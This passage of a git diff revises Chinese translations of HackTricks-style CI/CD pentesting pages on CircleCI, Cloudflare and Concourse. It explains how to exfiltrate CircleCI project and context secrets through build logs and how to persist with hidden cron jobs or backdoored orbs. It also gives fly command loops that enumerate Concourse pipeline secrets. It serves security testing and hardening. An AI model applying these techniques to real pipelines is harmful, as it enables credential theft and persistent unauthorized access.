+在我的测试中,我检查到,只要您在github上对代码库拥有**写权限**,您就能够**管理CircleCI中的项目设置**(设置新的ssh密钥,获取项目api密钥,创建带有新CircleCI配置的新分支...)。 -然而,您需要是**代码库管理员**才能**将代码库转换为CircleCI项目**。 +然而,您需要成为**代码库管理员**才能**将代码库转换为CircleCI项目**。 ### 环境变量和秘密 -根据[**文档**](https://circleci.com/docs/2.0/env-vars/),在工作流中有不同的方法来**加载环境变量中的值**。 +根据[**文档**](https://circleci.com/docs/2.0/env-vars/),有不同的方法可以**在工作流中加载环境变量的值**。 #### 内置环境变量 @@ -31,7 +31,7 @@ command: | SECRET="A secret" echo $SECRET ``` -您可以在 **run environment** 中以明文声明它们: +您可以在 **运行环境** 中以明文声明它们: ```yaml - run: name: "set and echo" @@ -60,7 +60,7 @@ SECRET: A secret #### 项目秘密 这些是**秘密**,只有**项目**(通过**任何分支**)可以**访问**。\ -您可以在 _https://app.circleci.com/settings/project/github/\/\/environment-variables_ 中查看它们的**声明**。 +您可以在 _https://app.circleci.com/settings/project/github/\/\/environment-variables_ 中查看它们**声明**。 ![](<../images/image (129).png>) @@ -69,12 +69,12 @@ SECRET: A secret #### 上下文秘密 -这些是**组织范围内**的秘密。默认情况下,**任何仓库**都可以**访问**存储在这里的任何秘密: +这些是**组织范围**的秘密。默认情况下,**任何仓库**都可以**访问**存储在这里的任何秘密: ![](<../images/image (123).png>) > [!TIP] -> 但是,请注意,可以选择不同的组(而不是所有成员)来**仅向特定人员提供秘密的访问权限**。\ +> 但是,请注意,可以选择不同的组(而不是所有成员)**仅向特定人员提供访问秘密的权限**。\ > 这目前是**提高秘密安全性**的最佳方法之一,不允许所有人访问,而只是一些人。 ### 攻击 @@ -85,17 +85,17 @@ SECRET: A secret #### 秘密环境变量和上下文枚举 -检查代码,您可以找到在每个 `.circleci/config.yml` 文件中**使用**的**所有秘密名称**。您还可以从这些文件中获取**上下文名称**,或在网页控制台中查看:_https://app.circleci.com/settings/organization/github/\/contexts_。 +检查代码,您可以找到在每个 `.circleci/config.yml` 文件中**使用**的**所有秘密名称**。您还可以从这些文件中获取**上下文名称**,或在网络控制台中查看:_https://app.circleci.com/settings/organization/github/\/contexts_。 #### 外泄项目秘密 > [!WARNING] -> 为了**外泄所有**项目和上下文的**秘密**,您**只需**对整个github组织中的**1个仓库**拥有**写入**权限(_并且您的账户必须有访问上下文的权限,但默认情况下每个人都可以访问每个上下文_)。 +> 为了**外泄所有**项目和上下文**秘密**,您**只需**对整个github组织中的**1个仓库**拥有**写入**权限(_并且您的帐户必须有权访问上下文,但默认情况下每个人都可以访问每个上下文_)。 > [!CAUTION] -> "**导入变量**" 功能允许从其他项目**导入变量**到这个项目。因此,攻击者可以**导入所有仓库的所有项目变量**,然后**一起外泄所有变量**。 +> "**导入变量**" 功能允许从其他项目**导入变量**到这个项目。因此,攻击者可以**从所有仓库导入所有项目变量**,然后**一起外泄所有变量**。 -所有项目秘密始终在作业的环境中设置,因此只需调用环境并将其混淆为base64,就会在**工作流网页日志控制台**中外泄秘密: +所有项目秘密始终在作业的环境中设置,因此只需调用 env 并将其混淆为 base64,就会在**工作流网络日志控制台**中外泄秘密: ```yaml version: 2.1 @@ -141,9 +141,9 @@ only: jobs: - exfil-env ``` -#### 导出上下文秘密 +#### 提取上下文秘密 -您需要**指定上下文名称**(这也将导出项目秘密): +您需要**指定上下文名称**(这也将提取项目秘密): ```yaml version: 2.1 @@ -192,12 +192,12 @@ jobs: context: Test-Context ``` > [!WARNING] -> 仅仅在一个仓库中创建一个新的 `.circleci/config.yml` **并不足以触发 circleci 构建**。你需要在 **circleci 控制台中将其启用为项目**。 +> 仅仅在一个仓库中创建一个新的 `.circleci/config.yml` **不足以触发 circleci 构建**。你需要在 **circleci 控制台中将其启用为项目**。 #### 逃往云端 **CircleCI** 让你可以选择在 **他们的机器上或你自己的机器上运行构建**。\ -默认情况下,他们的机器位于 GCP,你最初无法找到任何相关信息。然而,如果受害者在 **他们自己的机器上(可能是在云环境中)** 运行任务,你可能会找到一个 **包含有趣信息的云元数据端点**。 +默认情况下,他们的机器位于 GCP,你最初无法找到任何相关信息。然而,如果受害者在 **他们自己的机器上运行任务(可能是在云环境中)**,你可能会找到一个 **包含有趣信息的云元数据端点**。 请注意,在之前的示例中,一切都是在 docker 容器内启动的,但你也可以 **请求启动一台虚拟机**(这可能具有不同的云权限): ```yaml @@ -208,7 +208,7 @@ exfil-env: machine: image: ubuntu-2004:current ``` -或者甚至是一个可以访问远程 docker 服务的 docker 容器: +或者甚至是一个可以访问远程 Docker 服务的 Docker 容器: ```yaml jobs: exfil-env: @@ -221,14 +221,14 @@ version: 19.03.13 ``` #### 持久性 -- 可以在 CircleCI 中 **创建** **用户令牌** 以使用用户的访问权限访问 API 端点。 +- 可以在 CircleCI 中 **创建** **用户令牌** 以使用用户访问权限访问 API 端点。 - _https://app.circleci.com/settings/user/tokens_ - 可以 **创建项目令牌** 以使用令牌授予的权限访问项目。 - _https://app.circleci.com/settings/project/github/\/\/api_ - 可以 **向项目添加 SSH 密钥**。 - _https://app.circleci.com/settings/project/github/\/\/ssh_ -- 可以在一个意外的项目中 **创建一个隐藏分支的 cron 作业**,每天 **泄露** 所有 **上下文环境** 变量。 -- 或者甚至在一个分支中创建/修改一个已知的作业,每天 **泄露** 所有上下文和 **项目机密**。 +- 可以在一个意外的项目中 **在隐藏分支中创建一个 cron 作业**,每天 **泄露** 所有 **上下文环境** 变量。 +- 或者甚至在一个分支中创建/修改一个已知作业,每天 **泄露** 所有上下文和 **项目秘密**。 - 如果你是 GitHub 的所有者,你可以 **允许未验证的 orbs** 并在作业中将其配置为 **后门**。 - 你可以在某些任务中找到 **命令注入漏洞** 并通过 **秘密** 修改其值来 **注入命令**。 diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md index ac8255488..6f5ed9e4e 100644 --- a/src/pentesting-ci-cd/cloudflare-security/README.md +++ b/src/pentesting-ci-cd/cloudflare-security/README.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -在 Cloudflare 账户中,有一些 **常规设置和服务** 可以配置。在本页面中,我们将 **分析每个部分与安全相关的设置:** +在 Cloudflare 账户中,有一些 **通用设置和服务** 可以进行配置。在本页面中,我们将 **分析每个部分的安全相关设置:**
@@ -37,7 +37,7 @@ _我找不到任何可以检查配置安全审查的内容。_ - [ ] 检查通过 **workflow command injection** 或 `pull_request_target` 可能导致的 GitHub 仓库泄露。更多信息请参见 [**Github Security page**](../github-security/)。 - [ ] 检查 `/fuctions` 目录中的 **脆弱函数**(如果有),检查 `_redirects` 文件中的 **重定向**(如果有)和 `_headers` 文件中的 **错误配置的头部**(如果有)。 - [ ] 通过 **blackbox** 或 **whitebox** 检查 **网页** 中的 **漏洞**,如果您可以 **访问代码**。 -- [ ] 在每个页面的详细信息 `//pages/view/blocklist/settings/functions` 中,检查 **`Environment variables`** 中的 **敏感信息**。 +- [ ] 在每个页面的详细信息 `//pages/view/blocklist/settings/functions` 中检查 **`Environment variables`** 中的 **敏感信息**。 - [ ] 在详细信息页面中,还要检查 **构建命令** 和 **根目录** 以查找 **潜在注入** 以危害页面。 ## **Workers** @@ -47,18 +47,18 @@ _我找不到任何可以检查配置安全审查的内容。_ - [ ] 触发器:是什么使 worker 触发?用户是否可以发送将被 worker **使用** 的数据? - [ ] 在 **`Settings`** 中,检查包含 **敏感信息** 的 **`Variables`**。 - [ ] 检查 **worker 的代码** 并搜索 **漏洞**(特别是在用户可以管理输入的地方)。 -- 检查 SSRFs 返回您可以控制的指定页面 -- 检查在 svg 图像内执行 JS 的 XSS -- worker 可能与其他内部服务交互。例如,worker 可能与 R2 存储桶交互,从输入中获取信息。在这种情况下,需要检查 worker 对 R2 存储桶的权限以及如何可能被用户输入滥用。 +- 检查 SSRFs 返回您可以控制的指定页面。 +- 检查 XSS 在 svg 图像内执行 JS。 +- worker 可能与其他内部服务交互。例如,worker 可能与存储从输入中获得的信息的 R2 存储桶交互。在这种情况下,需要检查 worker 对 R2 存储桶的能力以及如何可能被用户输入滥用。 > [!WARNING] -> 请注意,默认情况下,**Worker 会被赋予一个 URL**,例如 `..workers.dev`。用户可以将其设置为 **子域名**,但如果您知道该 **原始 URL**,则始终可以通过该 URL 访问它。 +> 请注意,默认情况下,**Worker 会被赋予一个 URL**,例如 `..workers.dev`。用户可以将其设置为 **子域名**,但如果您知道该 **原始 URL**,您始终可以通过该 URL 访问它。 ## R2 在每个 R2 存储桶中检查: -- [ ] 配置 **CORS 策略**。 +- [ ] 配置 **CORS Policy**。 ## Stream @@ -71,7 +71,7 @@ TODO ## Security Center - [ ] 如果可能,运行 **`Security Insights`** **扫描** 和 **`Infrastructure`** **扫描**,因为它们将 **突出** 有趣的信息 **安全** 方面。 -- [ ] 仅检查此信息以查找安全错误配置和有趣的信息 +- [ ] 仅检查此信息以查找安全错误配置和有趣的信息。 ## Turnstile @@ -89,7 +89,7 @@ cloudflare-zero-trust-network.md > 与 [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/) 不同, [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) 本质上是静态的——它们不支持任何字符串替换操作或正则表达式。但是,您可以配置影响其 URL 匹配行为和运行时行为的 URL 重定向参数。 - [ ] 检查 **重定向的表达式** 和 **要求** 是否 **合理**。 -- [ ] 还要检查是否存在包含有趣信息的 **敏感隐藏端点**。 +- [ ] 还要检查 **敏感隐藏端点**,其中可能包含有趣的信息。 ## Notifications @@ -113,7 +113,7 @@ cloudflare-zero-trust-network.md - `Script Monitor New Script Exceeds Max URL Length Alert` - `Advanced Security Events Alert` - `Security Events Alert` -- [ ] 检查所有 **目标**,因为 webhook URL 中可能存在 **敏感信息**(基本 http 身份验证)。还要确保 webhook URL 使用 **HTTPS**。 +- [ ] 检查所有 **目的地**,因为 webhook urls 中可能存在 **敏感信息**(基本 http auth)。还要确保 webhook urls 使用 **HTTPS**。 - [ ] 作为额外检查,您可以尝试 **冒充 Cloudflare 通知** 给第三方,也许您可以以某种方式 **注入一些危险的东西**。 ## Manage Account @@ -121,7 +121,7 @@ cloudflare-zero-trust-network.md - [ ] 可以在 **`Billing` -> `Payment info`** 中查看 **信用卡的最后 4 位数字**、**到期** 时间和 **账单地址**。 - [ ] 可以在 **`Billing` -> `Subscriptions`** 中查看账户中使用的 **计划类型**。 - [ ] 在 **`Members`** 中,可以查看账户的所有成员及其 **角色**。请注意,如果计划类型不是企业版,则仅存在 2 个角色:管理员和超级管理员。但如果使用的 **计划是企业版**,则可以使用 [**更多角色**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) 来遵循最小权限原则。 -- 因此,建议在可能的情况下使用 **企业计划**。 +- 因此,尽可能 **建议** 使用 **企业计划**。 - [ ] 在成员中,可以检查哪些 **成员** 启用了 **2FA**。**每个** 用户都应该启用它。 > [!NOTE] diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md index fb24eb38f..dbcf47b3f 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -在 Cloudflare 配置的每个 TLD 中,有一些 **常规设置和服务** 可以配置。在本页面中,我们将 **分析每个部分的安全相关设置:** +在每个配置在 Cloudflare 的 TLD 中,有一些 **通用设置和服务** 可以配置。在本页面中,我们将 **分析每个部分的安全相关设置:**
@@ -22,7 +22,7 @@ - [ ] 检查 **未被代理** 的网页 - [ ] 检查可以通过 CNAME 或 IP 地址 **直接访问的代理网页** - [ ] 检查 **DNSSEC** 是否 **启用** -- [ ] 检查所有 **CNAME** 是否 **使用 CNAME 扁平化** +- [ ] 检查 **所有 CNAME** 中是否 **使用 CNAME 扁平化** - 这可能有助于 **隐藏子域名接管漏洞** 并改善加载时间 - [ ] 检查域名 [**是否易受欺骗**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) @@ -54,26 +54,26 @@ TODO - [ ] 在 **`WAF`** 部分,检查 **防火墙** 和 **速率限制规则是否被使用** 以防止滥用是很有趣的。 - **`绕过`** 操作将 **禁用 Cloudflare 安全** 功能。它不应该被使用。 -- [ ] 在 **`页面保护`** 部分,如果使用了任何页面,建议检查其是否 **启用** -- [ ] 在 **`API 保护`** 部分,如果在 Cloudflare 中暴露了任何 API,建议检查其是否 **启用** +- [ ] 在 **`页面保护`** 部分,如果使用了任何页面,建议检查它是否 **启用** +- [ ] 在 **`API 保护`** 部分,如果在 Cloudflare 中暴露了任何 API,建议检查它是否 **启用** - [ ] 在 **`DDoS`** 部分,建议启用 **DDoS 保护** - [ ] 在 **`设置`** 部分: - [ ] 检查 **`安全级别`** 是否为 **中等** 或更高 -- [ ] 检查 **`挑战通行`** 最多为 1 小时 +- [ ] 检查 **`挑战通过`** 最多为 1 小时 - [ ] 检查 **`浏览器完整性检查`** 是否 **启用** - [ ] 检查 **`隐私通行证支持`** 是否 **启用** #### **CloudFlare DDoS 保护** -- 如果可以,启用 **机器人战斗模式** 或 **超级机器人战斗模式**。如果您保护某个通过编程访问的 API(例如来自 JS 前端页面),您可能无法在不破坏该访问的情况下启用此功能。 -- 在 **WAF**:您可以根据 URL 路径创建 **速率限制** 或对 **已验证的机器人**(速率限制规则),或根据 IP、Cookie、引荐来源等 **阻止访问**。因此,您可以阻止不来自网页或没有 Cookie 的请求。 +- 如果可以,启用 **机器人战斗模式** 或 **超级机器人战斗模式**。如果您保护某个通过编程访问的 API(例如,从 JS 前端页面),您可能无法在不破坏该访问的情况下启用此功能。 +- 在 **WAF**:您可以通过 URL 路径创建 **速率限制** 或对 **已验证的机器人**(速率限制规则),或根据 IP、Cookie、引荐来源等 **阻止访问**。因此,您可以阻止不来自网页或没有 Cookie 的请求。 - 如果攻击来自 **已验证的机器人**,至少 **添加速率限制** 到机器人。 -- 如果攻击针对 **特定路径**,作为预防机制,在该路径中添加 **速率限制**。 +- 如果攻击是针对 **特定路径**,作为预防机制,在该路径中添加 **速率限制**。 - 您还可以在 WAF 的 **工具** 中 **白名单** IP 地址、IP 范围、国家或 ASN。 - 检查 **托管规则** 是否也可以帮助防止漏洞利用。 -- 在 **工具** 部分,您可以 **阻止或对特定 IP 和用户代理发出挑战**。 -- 在 DDoS 中,您可以 **覆盖某些规则以使其更具限制性**。 -- **设置**:将 **安全级别** 设置为 **高**,如果您处于攻击中,则设置为 **正在攻击**,并确保 **浏览器完整性检查已启用**。 +- 在 **工具** 部分,您可以 **阻止或对特定 IP** 和 **用户代理** 提出挑战。 +- 在 DDoS 中,您可以 **覆盖某些规则以使其更严格**。 +- **设置**:将 **安全级别** 设置为 **高**,如果您处于攻击中并且 **浏览器完整性检查已启用**,则设置为 **正在攻击**。 - 在 Cloudflare Domains -> Analytics -> Security -> 检查 **速率限制** 是否启用 - 在 Cloudflare Domains -> Security -> Events -> 检查 **检测到的恶意事件** @@ -89,7 +89,7 @@ _我找不到与安全相关的任何选项_ ### 缓存 -- [ ] 在 **`配置`** 部分,考虑启用 **CSAM 扫描工具** +- [ ] 在 **`配置`** 部分考虑启用 **CSAM 扫描工具** ### **Workers 路由** @@ -102,8 +102,8 @@ TODO ### 网络 - [ ] 如果 **`HTTP/2`** 已 **启用**,则 **`HTTP/2 到源`** 应该 **启用** -- [ ] **`HTTP/3 (带 QUIC)`** 应该 **启用** -- [ ] 如果 **用户** 的 **隐私** 重要,请确保 **`洋葱路由`** 已 **启用** +- [ ] **`HTTP/3 (使用 QUIC)`** 应该 **启用** +- [ ] 如果您 **用户的隐私** 重要,请确保 **`洋葱路由`** 已 **启用** ### **流量** diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md index 017a418de..e40503acb 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md @@ -12,8 +12,8 @@ ### **Gateway** -- [ ] 在 **`Policies`** 中,可以生成策略以 **限制** 通过 **DNS**、**网络** 或 **HTTP** 请求谁可以访问应用程序。 -- 如果使用,**策略** 可以被创建以 **限制** 访问恶意网站。 +- [ ] 在 **`Policies`** 中,可以生成策略以 **限制** 通过 **DNS**、**网络** 或 **HTTP** 请求访问应用程序的用户。 +- 如果使用,**策略** 可以创建以 **限制** 访问恶意网站。 - 这 **仅在使用网关时相关**,如果不使用,则没有理由创建防御性策略。 ### Access @@ -23,7 +23,7 @@ 在每个应用程序上: - [ ] 检查 **谁** 可以访问该应用程序的 **Policies**,并确保 **只有** 需要访问该应用程序的 **用户** 可以访问。 -- 要允许访问,将使用 **`Access Groups`**(并且 **还可以设置额外规则**) +- 要允许访问,将使用 **`Access Groups`**(也可以设置 **附加规则**) - [ ] 检查 **可用的身份提供者**,确保它们 **不太开放** - [ ] 在 **`Settings`** 中: - [ ] 检查 **CORS 未启用**(如果启用,检查它是否 **安全**,并且不允许所有内容) @@ -34,7 +34,7 @@ - [ ] 检查生成的访问组是否 **正确限制** 了它们应该允许的用户。 - [ ] 特别重要的是检查 **默认访问组不太开放**(**不允许太多人**),因为 **默认情况下** 该 **组** 中的任何人都将能够 **访问应用程序**。 -- 请注意,可以给 **每个人** 和其他 **非常开放的策略** 赋予 **访问权限**,除非 100% 必要,否则不推荐使用。 +- 请注意,可以给 **每个人** 和其他 **非常开放的政策** 赋予 **访问权限**,除非 100% 必要,否则不推荐。 #### Service Auth diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md index 72cf53091..26105999d 100644 --- a/src/pentesting-ci-cd/concourse-security/README.md +++ b/src/pentesting-ci-cd/concourse-security/README.md @@ -8,7 +8,7 @@ Concourse 允许您 **构建管道** 以在需要时自动运行测试、操作 ## Concourse 架构 -了解 concourse 环境的结构: +了解 concourse 环境的结构在: {{#ref}} concourse-architecture.md @@ -16,7 +16,7 @@ concourse-architecture.md ## Concourse 实验室 -了解如何在本地运行 concourse 环境以进行自己的测试: +了解如何在本地运行 concourse 环境以进行您自己的测试在: {{#ref}} concourse-lab-creation.md @@ -24,7 +24,7 @@ concourse-lab-creation.md ## 枚举与攻击 Concourse -了解如何枚举 concourse 环境并利用它: +了解如何枚举 concourse 环境并滥用它在: {{#ref}} concourse-enumeration-and-attacks.md diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md index a454847ef..fa648813e 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md @@ -1,37 +1,37 @@ -# Concourse Architecture +# Concourse 架构 -## Concourse Architecture +## Concourse 架构 {{#include ../../banners/hacktricks-training.md}} -[**来自Concourse文档的相关数据:**](https://concourse-ci.org/internals.html) +[**来自 Concourse 文档的相关数据:**](https://concourse-ci.org/internals.html) -### Architecture +### 架构 ![](<../../images/image (187).png>) -#### ATC: web UI & build scheduler +#### ATC: web UI 和构建调度器 -ATC是Concourse的核心。它运行**web UI和API**,并负责所有管道**调度**。它**连接到PostgreSQL**,用于存储管道数据(包括构建日志)。 +ATC 是 Concourse 的核心。它运行 **web UI 和 API**,并负责所有管道的 **调度**。它 **连接到 PostgreSQL**,用于存储管道数据(包括构建日志)。 -[checker](https://concourse-ci.org/checker.html)的职责是持续检查资源的新版本。[scheduler](https://concourse-ci.org/scheduler.html)负责为作业调度构建,而[build tracker](https://concourse-ci.org/build-tracker.html)负责运行任何已调度的构建。[garbage collector](https://concourse-ci.org/garbage-collector.html)是用于清理任何未使用或过时对象(如容器和卷)的机制。 +[checker](https://concourse-ci.org/checker.html) 的职责是持续检查资源的新版本。 [scheduler](https://concourse-ci.org/scheduler.html) 负责为作业调度构建,而 [build tracker](https://concourse-ci.org/build-tracker.html) 负责运行任何已调度的构建。 [garbage collector](https://concourse-ci.org/garbage-collector.html) 是用于清理任何未使用或过时对象(如容器和卷)的机制。 -#### TSA: worker registration & forwarding +#### TSA: 工作节点注册与转发 -TSA是一个**定制的SSH服务器**,仅用于安全地**注册**[**workers**](https://concourse-ci.org/internals.html#architecture-worker)与[ATC](https://concourse-ci.org/internals.html#component-atc)。 +TSA 是一个 **自定义构建的 SSH 服务器**,仅用于安全地 **注册** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) 到 [ATC](https://concourse-ci.org/internals.html#component-atc)。 -TSA默认监听端口`2222`,通常与[ATC](https://concourse-ci.org/internals.html#component-atc)共同放置,并位于负载均衡器后面。 +TSA 默认在端口 `2222` 上监听,通常与 [ATC](https://concourse-ci.org/internals.html#component-atc) 同处一地,并位于负载均衡器后面。 -**TSA通过SSH连接实现CLI,**支持[**这些命令**](https://concourse-ci.org/internals.html#component-tsa)。 +**TSA 通过 SSH 连接实现 CLI,** 支持 [**这些命令**](https://concourse-ci.org/internals.html#component-tsa)。 #### Workers -为了执行任务,Concourse必须有一些workers。这些workers通过[TSA](https://concourse-ci.org/internals.html#component-tsa)进行**自我注册**,并运行服务[**Garden**](https://github.com/cloudfoundry-incubator/garden)和[**Baggageclaim**](https://github.com/concourse/baggageclaim)。 +为了执行任务,Concourse 必须有一些工作节点。这些工作节点通过 [TSA](https://concourse-ci.org/internals.html#component-tsa) **注册自己**,并运行服务 [**Garden**](https://github.com/cloudfoundry-incubator/garden) 和 [**Baggageclaim**](https://github.com/concourse/baggageclaim)。 -- **Garden**:这是**容器管理API**,通常通过**HTTP**在**端口7777**上运行。 -- **Baggageclaim**:这是**卷管理API**,通常通过**HTTP**在**端口7788**上运行。 +- **Garden**: 这是 **容器管理 API**,通常通过 **HTTP** 在 **端口 7777** 上运行。 +- **Baggageclaim**: 这是 **卷管理 API**,通常通过 **HTTP** 在 **端口 7788** 上运行。 -## References +## 参考 - [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html) diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md index c4b5faf48..251b452bc 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md @@ -10,21 +10,21 @@ Concourse 具有五个角色: - _Concourse_ **管理员**:此角色仅授予 **主团队**(默认初始 concourse 团队)的所有者。管理员可以 **配置其他团队**(例如:`fly set-team`,`fly destroy-team`...)。此角色的权限无法通过 RBAC 进行影响。 - **所有者**:团队所有者可以 **修改团队内的所有内容**。 -- **成员**:团队成员可以在 **团队资产** 中 **读取和写入**,但无法修改团队设置。 -- **管道操作员**:管道操作员可以执行 **管道操作**,例如触发构建和固定资源,但无法更新管道配置。 +- **成员**:团队成员可以在 **团队资产** 中 **读取和写入**,但不能修改团队设置。 +- **管道操作员**:管道操作员可以执行 **管道操作**,例如触发构建和固定资源,但不能更新管道配置。 - **查看者**:团队查看者对团队及其管道具有 **“只读”** 访问权限。 > [!NOTE] -> 此外,**所有者、成员、管道操作员和查看者的角色权限可以通过配置 RBAC 进行修改**(更具体地说是其操作)。有关更多信息,请阅读:[https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) +> 此外,**所有者、成员、管道操作员和查看者的权限可以通过配置 RBAC 进行修改**(更具体地说是配置其操作)。有关更多信息,请参见:[https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) 请注意,Concourse **将管道分组到团队中**。因此,属于某个团队的用户将能够管理这些管道,并且 **可能存在多个团队**。用户可以属于多个团队,并在每个团队中拥有不同的权限。 -### 变量与凭证管理器 +### Vars & Credential Manager 在 YAML 配置中,您可以使用语法 `((_source-name_:_secret-path_._secret-field_))` 配置值。\ [来自文档:](https://concourse-ci.org/vars.html#var-syntax) **source-name 是可选的**,如果省略,将使用 [集群范围的凭证管理器](https://concourse-ci.org/vars.html#cluster-wide-credential-manager),或者可以 [静态提供值](https://concourse-ci.org/vars.html#static-vars)。\ -**可选的 \_secret-field**\_ 指定要读取的获取凭证上的字段。如果省略,凭证管理器可以选择从获取的凭证中读取“默认字段”,如果该字段存在。\ -此外,_**secret-path**_ 和 _**secret-field**_ 如果 **包含特殊字符**(如 `.` 和 `:`),可以用双引号 `"..."` 括起来。例如,`((source:"my.secret"."field:1"))` 将把 _secret-path_ 设置为 `my.secret`,将 _secret-field_ 设置为 `field:1`。 +**可选的 \_secret-field**\_ 指定要读取的获取的秘密上的字段。如果省略,凭证管理器可以选择从获取的凭证中读取“默认字段”,如果该字段存在。\ +此外,_**secret-path**_ 和 _**secret-field**_ 如果 **包含特殊字符**(如 `.` 和 `:`),可以用双引号 `"..."` 括起来。例如,`((source:"my.secret"."field:1"))` 将把 _secret-path_ 设置为 `my.secret`,并将 _secret-field_ 设置为 `field:1`。 #### 静态变量 @@ -34,16 +34,16 @@ Concourse 具有五个角色: file: booklit/ci/unit.yml vars: { tag: 1.13 } ``` -Or using the following `fly` **arguments**: +使用以下 `fly` **参数**: -- `-v` or `--var` `NAME=VALUE` 将字符串 `VALUE` 设置为变量 `NAME` 的值。 -- `-y` or `--yaml-var` `NAME=VALUE` 将 `VALUE` 解析为 YAML,并将其设置为变量 `NAME` 的值。 -- `-i` or `--instance-var` `NAME=VALUE` 将 `VALUE` 解析为 YAML,并将其设置为实例变量 `NAME` 的值。有关实例变量的更多信息,请参见 [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html)。 -- `-l` or `--load-vars-from` `FILE` 加载 `FILE`,这是一个包含变量名称与值映射的 YAML 文档,并设置所有变量。 +- `-v` 或 `--var` `NAME=VALUE` 将字符串 `VALUE` 设置为变量 `NAME` 的值。 +- `-y` 或 `--yaml-var` `NAME=VALUE` 将 `VALUE` 解析为 YAML,并将其设置为变量 `NAME` 的值。 +- `-i` 或 `--instance-var` `NAME=VALUE` 将 `VALUE` 解析为 YAML,并将其设置为实例变量 `NAME` 的值。有关实例变量的更多信息,请参见 [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html)。 +- `-l` 或 `--load-vars-from` `FILE` 加载 `FILE`,这是一个包含变量名称与值映射的 YAML 文档,并设置所有变量。 -#### Credential Management +#### 凭证管理 -在管道中可以通过不同方式指定 **Credential Manager**,请阅读 [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html)。\ +在管道中可以通过不同方式指定 **凭证管理器**,请阅读 [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html)。\ 此外,Concourse 支持不同的凭证管理器: - [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html) @@ -59,25 +59,25 @@ Or using the following `fly` **arguments**: > [!CAUTION] > 请注意,如果您对 Concourse 有某种 **写入访问权限**,您可以创建作业来 **提取这些秘密**,因为 Concourse 需要能够访问它们。 -### Concourse Enumeration +### Concourse 枚举 为了枚举一个 concourse 环境,您首先需要 **收集有效凭证** 或找到一个 **认证令牌**,可能在 `.flyrc` 配置文件中。 -#### Login and Current User enum +#### 登录和当前用户枚举 -- 要登录,您需要知道 **端点**、**团队名称**(默认是 `main`)和 **用户所属的团队**: +- 登录时需要知道 **端点**、**团队名称**(默认是 `main`)和 **用户所属的团队**: - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` -- 获取配置的 **targets**: +- 获取配置的 **目标**: - `fly targets` -- 获取配置的 **target 连接**是否仍然 **有效**: +- 获取配置的 **目标连接** 是否仍然 **有效**: - `fly -t status` - 获取用户在指定目标下的 **角色**: - `fly -t userinfo` > [!NOTE] -> 请注意,**API token** 默认保存在 `$HOME/.flyrc` 中,您在盗取机器时可以在那里找到凭证。 +> 请注意,**API 令牌** 默认保存在 `$HOME/.flyrc` 中,您在盗取机器时可以在那里找到凭证。 -#### Teams & Users +#### 团队与用户 - 获取团队列表 - `fly -t teams` @@ -86,7 +86,7 @@ Or using the following `fly` **arguments**: - 获取用户列表 - `fly -t active-users` -#### Pipelines +#### 管道 - **列出** 管道: - `fly -t pipelines -a` @@ -94,7 +94,7 @@ Or using the following `fly` **arguments**: - `fly -t get-pipeline -p ` - 获取所有管道 **配置声明的变量** - `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` -- 获取所有 **管道使用的秘密名称**(如果您可以创建/修改作业或劫持容器,您可以提取它们): +- 获取所有 **使用的管道秘密名称**(如果您可以创建/修改作业或劫持容器,您可以提取它们): ```bash rm /tmp/secrets.txt; for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do @@ -109,11 +109,11 @@ rm /tmp/secrets.txt ``` #### 容器与工作者 -- 列出 **workers**: +- 列出 **工作者**: - `fly -t workers` -- 列出 **containers**: +- 列出 **容器**: - `fly -t containers` -- 列出 **builds** (查看正在运行的内容): +- 列出 **构建**(查看正在运行的内容): - `fly -t builds` ### Concourse 攻击 @@ -125,7 +125,7 @@ rm /tmp/secrets.txt #### 秘密和参数枚举 -在上一节中,我们看到如何 **获取管道使用的所有秘密名称和变量**。**变量可能包含敏感信息**,而 **秘密的名称在稍后尝试窃取它们时将非常有用**。 +在上一节中,我们看到如何 **获取管道使用的所有秘密名称和变量**。**变量可能包含敏感信息**,而 **秘密的名称在稍后尝试窃取时将非常有用**。 #### 在运行或最近运行的容器内会话 @@ -134,10 +134,10 @@ rm /tmp/secrets.txt fly -t tutorial 